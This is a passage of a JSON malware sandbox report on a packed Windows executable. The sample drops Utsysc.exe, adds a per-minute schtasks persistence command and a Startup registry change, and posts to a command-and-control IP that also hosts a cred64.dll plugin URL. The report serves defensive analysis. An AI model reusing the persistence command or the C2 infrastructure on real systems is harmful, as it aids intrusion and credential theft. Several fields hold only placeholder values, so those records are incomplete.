\"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 739F0000\n \"Utsysc.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77B50000\n \"Utsysc.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 739F0000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77B50000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77360000\n \"Utsysc.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77360000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77360000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" was detected as \"MPRESS\" and name: \"Packer\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" was detected as \"EP:MPRESS\" and name: \"Packer\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has an executable section named \".MPRESS1\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has an executable section named \".MPRESS2\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has an writable section named \".MPRESS1\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has an writable section named \".MPRESS2\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has an writable section named \".rsrc\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" file has an entrypoint instructions - \"pushal\t,call\t0x10172c4,pop\teax,add\teax, 0xb5a,mov\tesi, dword ptr [eax],add\tesi, eax,sub\teax, eax,mov\tedi, esi,lodsw\tax, word ptr [esi],shl\teax, 0xc,mov\tecx, eax,push\teax,lodsd\teax, dword ptr [esi],sub\tecx, eax,add\tesi, ecx,mov\tecx, eax,push\tedi,push\tecx,dec\tecx,mov\tal, byte ptr [ecx + edi + 6],mov\tbyte ptr [ecx + esi], al,jne\t0x10172e3,sub\teax, eax,lodsb\tal, byte ptr [esi],mov\tecx, eax,and\tcl, 0xf0,and\tal, 0xf,shl\tecx, 0xc,mov\tch, al,lodsb\tal, byte ptr [esi],or\tecx, eax,push\tecx,add\tcl, ch,mov\tebp, 0xfffffd00,shl\tebp, cl,pop\tecx,pop\teax,mov\tebx, esp,lea\tesp, [esp + ebp*2 - 0xe70],push\tecx,sub\tecx, ecx,push\tecx,push\tecx,mov\tecx, esp,push\tecx,mov\tdx, word ptr [edi],shl\tedx, 0xc,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".MPRESS1\" is \"0x632a00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".MPRESS1\" is \"0xc16000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\schtasks.exe\" [Source: 00000000-00001140-00000BC0-1052657611]\n Observed system executable string:\"%WINDIR%\\System32\\schtasks.exe\" [Source: 00000000-00001140-00000C46-7521641862]\n Observed system executable string:\"\"%WINDIR%\\System32\\schtasks.exe\" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\4fdb51ccdc\\Uts\" [Source: 00000000-00001140-00000C46-7521641862]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"Utsysc.exe\" (UID: 00000000-00001140) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"Utsysc.exe\" (UID: 00000000-00001140) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"Utsysc.exe\" (UID: 00000000-00004444) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"Utsysc.exe\" (UID: 00000000-00004444) was launched with modified environment variables: \"PSModulePath, Path, PATHEXT, NUMBER_OF_PROCESSORS\"\n Process \"Utsysc.exe\" (UID: 00000000-00004444) was launched with missing environment variables: \"USERDNSDOMAIN\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"Utsysc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"Utsysc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"Utsysc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"Utsysc.exe\" (UID: 00000000-00001140)\n Spawned process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\\\4fdb51ccdc\\ ...\" (UID: 00000000-00006240), Spawned process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\\\4fdb51ccdc\\ ...\" (UID: 00000000-00002156)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"Utsysc.exe\" (UID: 00000000-00001140)\n Spawned process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\\\4fdb51ccdc\\ ...\" (UID: 00000000-00006240), Spawned process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\\\4fdb51ccdc\\ ...\" (UID: 00000000-00002156)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\4fdb51ccdc\\Utsysc.exe\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\4fdb51ccdc\\Utsysc.exe:Zone.Identifier\"\n \"Utsysc.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\351455743570\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"Utsysc.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"Utsysc.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows 3 sections\"- [targetUID: N/A]\n \"Utsysc.exe\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows 3 sections\"- Location: [%TEMP%\\4fdb51ccdc\\Utsysc.exe]- [targetUID: 00000000-00001140]\n \"351455743570\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\"- Location: [%TEMP%\\351455743570]- [targetUID: 00000000-00001140]\n \"Utsysc.exe%3AZone.Identifier\" has type \"ASCII text with CRLF line terminators\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Modifies user shell folders registry key","description":"\"Utsysc.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USER SHELL FOLDERS\"; Key: \"STARTUP\"; Value: \"%TEMP%\\4fdb51ccdc\\\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":1,"id":"registry-144","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" queries basic process information of the \"C:\\24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (UID: 2224)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$31","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$32","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Possibly tries to evade analysis by sleeping many times","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$33","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"Utsysc.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"Utsysc.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"Utsysc.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"Utsysc.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"Utsysc.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"Utsysc.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"Utsysc.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \"Utsysc.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$34","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$35","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\4fdb51ccdc\\utsysc.exe\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\4fdb51ccdc\\utsysc.exe:zone.identifier\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" writes file \"%temp%\\4fdb51ccdc\\utsysc.exe:zone.identifier\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" writes file \"%temp%\\4fdb51ccdc\\utsysc.exe\"\n \"Utsysc.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\351455743570\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"Utsysc.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /v8sjh3hs8/index.php\" - (UID: 00000000-00001140), \"Utsysc.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /v8sjh3hs8/index.php?scr=1\" - (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"Utsysc.exe\" called \"InternetReadFile\" with parameter 1023 (UID: 00000000-00001140)\n \"Utsysc.exe\" called \"InternetReadFile\" with parameter 16384 (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"Utsysc.exe\" called \"InternetOpenA\" (UID: 00000000-00001140)\n \"Utsysc.exe\" called \"InternetOpenW\" (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")\n Found reference to API \"58555813316,3716,3225,,HttpOpenRequestA,Wininet.dll,\"00:34:39.796\",RX=0,PX=0\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00001140.00000001.133780.03580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")\n Found reference to API \"58555813316,3716,3225,,HttpOpenRequestA,Wininet.dll,\"00:34:39.796\",RX=0,PX=0\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00001140.00000001.133780.03580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$36","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"185.172.128.5\"\n Potential IP \"185.172.128.5\" found in string \"ttp://185.172.128.5/v8sjh3hs8/Plugins/cred64.dll\"\n \"192.168.0.2\"\n Potential IP \"185.172.128.5\" found in string \"ttp://185.172.128.5/v8sjh3hs8/index.php\"\n Potential IP \"185.172.128.5\" found in string \"ttp://185.172.128.5/\"\n \"85.172.128.5\"\n Potential IP \"185.172.128.5\" found in string \"://185.172.128.5/v8sjh3hs8/index.php\"\n Potential IP \"185.172.128.5\" found in string \"ttp://185.172.128.5/v8sjh3hs8/index.php?scr=1\"\n Potential IP \"185.172.128.5\" found in string \"http://185.172.128.5/v8sjh3hs8/Plugins/cred64.dll\"\n Potential IP \"185.172.128.5\" found in string \"http://185.172.128.5/v8sjh3hs8/index.php\"\n Potential IP \"185.172.128.5\" found in string \"185.172.128.5/v8sjh3hs8/Plugins/cred64.dll\"\n Potential IP \"185.172.128.5\" found in string \"http://185.172.128.5/v8sjh3hs8/index.php?scr=1\"\n \"5.128.172.185\"\n Potential IP \"185.172.128.5\" found in string \"Host: 185.172.128.5\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$37","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"Found URL \"http://www.w3.org/2001/xmlschema-instance\" - Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp\")\n Found URL \"http://www.w3.org/2001/xmlschema-instance\" - Source: \"00000000-00001140.00000001.133780.03580000.00000004.mdmp\")\n Found URL \"http://185.172.128.5/v8sjh3hs8/index.phpndex.phpsystemroot%\\system32\\nlaapi.dllclasses\\wow6432node\\clsid\\\" - Source: \"00000000-00001140.00000002.135699.03580000.00000004.mdmp\")\n Found URL \"http://www.w3.org/2001/xmlschema-instance\" - Source: \"00000000-00001140.00000002.135699.03580000.00000004.mdmp\")\n Found URL \"http://185.172.128.5/v8sjh3hs8/index.php85.172.1t/v8scontent-type:\" - Source: \"00000000-00001140.00000002.135699.03617000.00000004.mdmp\")\n Found URL \"http://185.172.128.5/v8sjh3hs8/index.php?scr=1http://185.172.128.5/v8sjh3hs8/index.php?scr=1http://185.172.128.5/v8sjh3hs8/index.phpbf3f8fdtk^5inetzzzzdu\" - Source: \"00000000-00001140.00000002.135699.03617000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$38","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSSendMessageW\" (Indicator: \"WTSSendMessage\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE60E6846C0329A1D28EA23C276565]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEB920B95CB24ADB7193896A84F056]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLE60E6846C0329A1D28EA23C276565]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Utsysc.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"Utsysc.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"Utsysc.exe\" called \"GetUserNameA\" (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")\n Found reference to API \"GetCurrentProcessorNumber\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessorNumberEx\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information 